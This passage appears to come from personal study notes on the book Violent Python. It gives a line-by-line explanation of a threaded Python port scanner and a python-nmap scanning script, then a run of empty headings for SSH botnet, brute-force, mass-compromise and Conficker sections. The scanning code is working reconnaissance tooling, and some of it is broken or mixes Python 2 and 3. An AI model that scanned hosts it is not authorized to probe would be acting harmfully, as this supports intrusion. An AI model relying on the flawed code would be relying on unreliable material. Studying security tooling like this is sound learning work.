connSkt.recv(100) : receive the response to the garbage data that we process to know which ports are open and which services are running

screenLock.acquire() : Acquire a semaphore. Used to access the lock of the semaphore. When open the semaphore will allow access to proceed and will print the screen.

screenLock.release() : Release a semaphore, incrementing the internal counter by n. When locked program waits until the thread holding the semaphore releases the lock.

By utilizing this semaphore, we now ensure only one thread can print to the screen at any given point in time

portScan()

This function obtains the hostname and IP address by utilizing the native gethostbyname and gethostbyaddr functions from the socket library. It then uses the threading library to call the connScan() function and threads the process of scanning a socket which adds up over time

from threading import *

def portScan(rhost, rport):
    try:
        rIP = gethostbyname(rhost)
    except:
        print "[-] Cannot resolve '%s': Unknown host" %rhost
        return

    try:
        rname = gethostbyaddr(rIP)
        print '\n[+] Scan Results for: ' + rname[0]
    except:
        print '\n[+] Scan Results for: ' + rIP

    setdefaulttimeout(1) #Set the default timeout in seconds (float) for new socket objects
    for rport in rports:
        t = Thread(target=connScan,args=(rhost,int(rport)))
        t.start()

The try block tests the gethostbyname function for errors and prints a statement if it returns an error. The function returns the IP address of a given host name.

Similarly, the gethostbyaddr function returns a tuple with host name, aliases and the list of IP addresses for that host interface

Next a for statement is used to read the argument rports, the string version of rport. It executes for each integer rport in string rports and uses a thread for optimization.

t = Thread(target=connScan,args=(rhost,int(rport))) : Threads the scanning of each socket. Sockets tend to time out and scanning each socket adds up over time, threading enables us to scan sockets simultaneously instead of sequentially. Each thread in the iteration (each port) will execute at the same time.

main()

This function houses the main components such as command line argument values using the parser library, formats the rhost and rports values, and calls the portScan function.

import optparse
def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-H <target host> -p <target port>')
    parser.add_option('-H', dest='rhost', type='string',\
      help='specify target host')
    parser.add_option('-p', dest='rport', type='string',\
      help='specify target port[s] separated by comma')

    (options, args) = parser.parse_args()

    rhost = options.rhost
    rports = str(options.rport).split(',')

    if (rhost == None) | (rports[0] == None):
	      print parser.usage
        exit(0)

    portScan(rhost, rports)

The function uses typical python syntax for main functions with a few customizations.

parser = optparse.OptionParser('usage %prog '+\'-H  -p ')
...
if (rhost == None) | (rports[0] == None):
	print parser.usage
  exit(0)
#if the program is ran without arguments print this message

parser.add_option() : adds the arguments of the target host and port

(options, args) = parser.parse_args() : sets the arguments equal to the variables options and args respectively.

rhost = options.rhost
rports = str(options.rport).split(',')
#sets victim IP for the options variable, initializes the rhost
#second line converts the integer port numbers to a string to print and splits at the comma from the protocol type 

Final Program & Test

Now that we analyzed the program we are ready to test it out. Run python3 portScan.py -H $ip -p <port, port, port>

#!/usr/bin/python
# -*- coding: utf-8 -*-

import optparse
from socket import *
from threading import *

screenLock = Semaphore(value=1)

def connScan(tgtHost, tgtPort):
    try:
        connSkt = socket(AF_INET, SOCK_STREAM)
        connSkt.connect((tgtHost, tgtPort))
        connSkt.send('ViolentPython\r\n')
        results = connSkt.recv(100)
        screenLock.acquire()
        print('[+] %d/tcp open' % tgtPort)
        print('[+] ' + str(results))
    except:
        screenLock.acquire()
        print('[-] %d/tcp closed' % tgtPort)
    finally:
     screenLock.release()
     connSkt.close()    

def portScan(tgtHost, tgtPort):
    try:
        rIP = gethostbyname(tgtHost)
    except:
        print("[-] Cannot resolve '%s': Unknown host" %tgtHost)
        return

    try:
        rname = gethostbyaddr(rIP)
        print('\n[+] Scan Results for: ' + rname[0])
    except:
        print('\n[+] Scan Results for: ' + rIP)

    setdefaulttimeout(1)
    for tgtPorts in tgtPort:
        t = Thread(target=connScan,args=(tgtHost,int(tgtPorts)))
        t.start()
        
def main():
    parser = optparse.OptionParser('usage %prog '+\
      '-H <target host> -p <target port>')
    parser.add_option('-H', dest='tgtHost', type='string',\
      help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string',\
      help='specify target port[s] separated by comma')

    (options, args) = parser.parse_args()

    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(',')

    if (tgtHost == None) | (tgtPorts[0] == None):
      print(parser.usage)
      exit(0)

    portScan(tgtHost, tgtPorts)


if __name__ == '__main__':
    main()

I tried converting this program to python 3 but received numerous errors about translating tgtPorts (a list) to a string in order to be converted to an integer in the thread. A simple str() did not suffice. Additionally, instead of guessing which ports might be open we can open a file and read from a list of common TCP/IP ports to test if they are open.

Nmap

w

import nmap, optparse

def nmapScan(tgtHost,tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost,tgtPort)
    state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print "[*] " + tgtHost + " tcp/"+tgtPort +" "+state

def main():
    parser = optparse.OptionParser('usage %prog '+\
                                   '-H <target host> -p <target port>')
    parser.add_option('-H', dest='tgtHost', type='string',\
                      help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string',\
                      help='specify target port[s] separated by comma')
    
    (options, args) = parser.parse_args()
    
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(',')
    
    if (tgtHost == None) | (tgtPorts[0] == None):
        print parser.usage
        exit(0)
    for tgtPort in tgtPorts:
        nmapScan(tgtHost, tgtPort)


if __name__ == '__main__':
    main()

w

SSH Botnet

Brute force Key

PxSSH

SSH Brute

SSH Command

Mass Compromise: Bridging FTP & HTTP

Anonymous Login

Brute Force Login

Default Pages

Inject Page

Final Program & Test

w

w

w

Conficker

Free Float

?

Chapter 6: Violent Python: A Cookbook for Hackers, Forensic Analysts & Penetration Testing

Violent Python is a book that instructs you how to leverage the Python language to craft personalized tools used in information security. This book demonstrates how to write Python scripts to automate large-scale network attacks, extract metadata, investigate forensic artifacts, write code to intercept & analyze network traffic using Python, craft and spoof wireless frames to attack wireless and Bluetooth devices, how to data-mine popular social media websites, and evade modern anti-viruses.

Chapter 6 focuses on Web Reconaissance with Python and highlights several different techniques and methods for xxxxxxx

Misc

dirsearch, hash buster, oscommerce RCE

Last updated